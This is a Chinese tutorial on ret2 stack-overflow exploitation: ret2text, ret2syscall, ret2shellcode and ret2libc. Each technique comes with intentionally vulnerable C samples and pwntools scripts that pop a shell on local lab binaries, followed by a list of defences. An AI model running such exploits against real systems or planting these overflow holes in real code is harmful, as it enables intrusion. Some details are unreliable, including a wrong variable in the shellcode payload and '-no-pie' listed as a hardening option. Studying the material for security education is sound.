栈攻击利用之ret2系列(一)
字数 1789 2025-08-23 18:31:18
栈攻击利用之ret2系列教学文档
1. 栈基础知识
1.1 栈的定义与特性
- 栈是一种后进先出(LIFO)的数据结构,是一块动态内存区域
- 只允许在线性数据集合的一端(栈顶)进行插入(PUSH)和删除(POP)操作
- 栈底固定,栈顶浮动;栈中元素为零时称为空栈
1.2 栈相关寄存器与指令
- esp/rsp:栈顶指针寄存器(32位/64位)
- ebp/rbp:栈底指针寄存器(32位/64位)
- pop指令:出栈操作,从栈顶弹出数据
- push指令:入栈操作,将数据压入栈顶
1.3 函数调用中的栈操作
函数开始时典型的汇编代码:
push rbp
mov rbp, rsp
sub rsp, N ; 为局部变量分配空间
函数结束时典型的汇编代码(leave;retn等价于):
mov esp, ebp ; 恢复栈顶
pop ebp ; 恢复栈底
pop eip ; 弹出返回地址到指令指针寄存器
2. ret2攻击原理
2.1 基本概念
- ret2是"return to"的缩写,指劫持函数返回地址的攻击技术
- 通过覆盖栈上的返回地址,控制程序执行流
2.2 主要攻击方法
- 栈溢出:最常见的方法,输入数据超过栈缓冲区大小,覆盖返回地址
- 任意地址写:较少见,直接修改返回地址
- 数组越界:通过越界写入覆盖返回地址
3. ret2text攻击
3.1 原理
- 劫持返回地址至程序的
.text段中已有的危险代码(如后门函数) .text段是程序代码段,包含程序的所有可执行代码
3.2 攻击步骤
- 识别程序中存在的危险函数(如
system("/bin/sh")) - 确定危险函数的地址
- 构造payload覆盖返回地址
3.3 payload模板
payload = 垃圾数据(长度=栈空间大小 + 4/8(ebp/rbp大小)) + 危险函数地址
3.4 示例代码
#include <stdio.h>
#include <stdlib.h>
void init() {
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
void text() {
system("/bin/sh");
}
int main() {
init();
char a[0x10];
read(0, a, 0x40);
return 0;
}
3.5 利用脚本
from pwn import *
io = process('./text')
payload = b'a'*(0x10 + 8) + p64(0x4011c5)
io.sendline(payload)
io.interactive()
4. ret2syscall攻击
4.1 系统调用基础
- 系统调用是程序请求操作系统服务的方式
- 32位使用
int 0x80指令,64位使用syscall指令 - 系统调用号存储在
eax/rax寄存器 - 参数依次通过
edi/rdi,esi/rsi,edx/rdx等寄存器传递
4.2 常见系统调用
execve(系统调用号59/0x3b):执行程序read:读取数据write:写入数据
4.3 攻击步骤
- 寻找程序中的
syscall指令片段 - 通过ROP链设置寄存器值
- 构造payload执行系统调用
4.4 示例代码
#include <stdio.h>
#include <stdlib.h>
char a[8] = "/bin/sh";
void init() {
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
void text1() { asm("movq $59, %rax;syscall;"); }
void text2() { asm("pop %rdi;ret;"); }
void text3() { asm("pop %rsi;ret;"); }
void text4() { asm("pop %rdx;ret;"); }
int main() {
init();
char a[0x10];
read(0, a, 0x80);
return 0;
}
4.5 利用脚本
from pwn import *
io = process('./text')
poprdi = 0x4011b9
poprsi = 0x4011c6
poprdx = 0x4011d3
binsh = 0x404038
execve = 0x4011A5
payload = b'a'*(0x10 + 8) + p64(poprdi) + p64(binsh) + p64(poprsi) + p64(0) + p64(poprdx) + p64(0) + p64(execve)
io.sendline(payload)
io.interactive()
5. ret2shellcode攻击
5.1 shellcode基础
- shellcode是用机器语言编写的恶意执行程序
- 分为本地shellcode(提权)和远程shellcode(远程控制)
- 通常用汇编语言编写后转换为机器码
5.2 攻击条件
- 存在可执行的内存区域
- 能够向该区域写入shellcode
- 能够控制返回地址指向shellcode
5.3 示例代码
#include <stdio.h>
#include <stdlib.h>
char a[0x100];
void init() {
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
int main() {
init();
mprotect(a, 0x100, 7); // 设置内存为可读可写可执行
char b[0x10];
read(0, a, 0x100);
read(0, b, 0x40);
return 0;
}
5.4 利用脚本
from pwn import *
io = process('./text')
shellcode_adr = 0x404080
shellcode = asm(shellcraft.sh())
payload = b'a'*(0x10 + 8) + p64(shellcode)
io.sendline(shellcode)
io.sendline(payload)
io.interactive()
6. ret2libc攻击
6.1 libc基础
libc.so是Linux系统中的C标准库动态链接库- 包含常用函数如
system,execve,puts等 - 函数在libc中的相对偏移固定
6.2 GOT表
- GOT表(Global Offset Table)存储程序中使用的全局变量或函数的地址
- 用于实现动态链接,运行时解析实际地址
6.3 攻击步骤
- 泄露某个函数的真实地址(如
puts) - 根据泄露地址确定libc版本和基地址
- 计算其他函数(
system)和字符串(/bin/sh)的地址 - 构造payload执行目标函数
6.4 示例代码
#include <stdio.h>
#include <stdlib.h>
void init() {
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
int main() {
init();
puts("ret2libc");
char b[0x10];
read(0, b, 0x40);
return 0;
}
6.5 利用脚本
from pwn import *
io = process('./text')
libc = ELF('./libc.so.6')
puts_adr = 0x401060
puts_got = 0x404018
poprdi = 0x401273
ret = 0x40101a
main = 0x4011BD
# 第一次攻击:泄露puts地址
payload1 = b'a'*(0x10 + 8) + p64(poprdi) + p64(puts_got) + p64(puts_adr) + p64(main)
io.sendline(payload1)
# 接收泄露的地址并计算基址
puts_real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.sym["puts"]
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
# 第二次攻击:执行system("/bin/sh")
payload2 = b'a'*(0x10 + 8) + p64(ret) + p64(poprdi) + p64(binsh) + p64(system)
io.sendline(payload2)
io.interactive()
7. 防御措施
-
栈保护机制:
- 栈金丝雀(Stack Canary):在返回地址前插入随机值
- 编译选项:
-fstack-protector
-
内存保护:
- NX/DEP(数据执行保护):标记数据页为不可执行
- 编译选项:
-z noexecstack
-
地址随机化:
- ASLR(地址空间布局随机化):随机化内存布局
- 编译选项:
-no-pie禁用位置无关可执行文件
-
代码加固:
- 控制流完整性(CFI)
- 边界检查
8. 总结
ret2系列攻击是二进制漏洞利用的基础技术,通过控制返回地址实现攻击。主要技术包括:
- ret2text:跳转到程序已有的危险代码
- ret2syscall:构造系统调用执行恶意操作
- ret2shellcode:执行注入的恶意代码
- ret2libc:利用libc中的函数实现攻击
理解这些技术对于二进制安全研究和漏洞防御至关重要。